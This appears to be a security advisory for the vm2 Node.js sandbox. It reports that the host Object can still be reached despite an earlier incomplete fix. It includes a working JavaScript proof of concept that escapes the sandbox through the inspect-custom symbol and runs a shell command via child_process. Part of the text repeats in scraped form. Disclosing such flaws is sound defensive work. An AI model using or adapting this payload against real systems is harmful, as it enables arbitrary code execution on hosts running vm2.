Summary
It is possible to obtain the host Object, patriksimek/vm2@ebcfe94 added some protections, but the implementation is incomplete.
Details
There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)
PoC
const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
const obj = {
[sym]: (depth, opt, inspect) => {
inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
},
valueOf: undefined,
constructor: undefined,
};
WebAssembly.compileStreaming(obj).catch(() => {});Impact
Sandbox Escape -> RCE
References
c0rydoras Reporter
Summary
It is possible to obtain the host
Object, patriksimek/vm2@ebcfe94 added some protections, but the implementation is incomplete.Details
There are various ways to use the host
Object, to escape the sandbox, one example would be usingHostObject.getOwnPropertySymbolsto obtainSymbol(nodejs.util.inspect.custom)PoC
Impact
Sandbox Escape -> RCE
References